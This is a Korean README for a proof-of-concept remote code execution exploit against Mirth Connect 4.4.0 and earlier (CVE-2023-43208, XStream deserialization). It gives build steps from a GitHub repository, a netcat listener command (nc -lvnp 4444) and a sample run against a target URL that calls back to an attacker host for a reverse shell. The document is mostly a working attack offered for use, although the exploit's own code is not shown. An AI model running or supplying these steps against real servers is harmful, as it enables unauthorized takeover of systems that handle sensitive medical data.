Mirth Connect RCE - CVE-2023-43208

설명

Mirth Connect 원격 코드 실행(RCE)을 위한 PoC Mirth Connect 4.4.0 이하 버전이 XStream 역직렬화를 통해 영향을 받습니다.

요구 사항

• g++ (C++20)

설치

git clone https://github.com/Pegasus0xx/CVE-2023-43208.git && \
cd CVE-2023-43208 && \
make

사용법

./exploit <URL> <LHOST> <LPORT>

예제

리스너 시작

nc -lvnp 4444

익스플로잇 실행

./exploit https://target.com 10.10.10.10 4444

참고 자료

• https://nvd.nist.gov/vuln/detail/CVE-2023-43208
• https://github.com/advisories/GHSA-pj5c-qr29-6746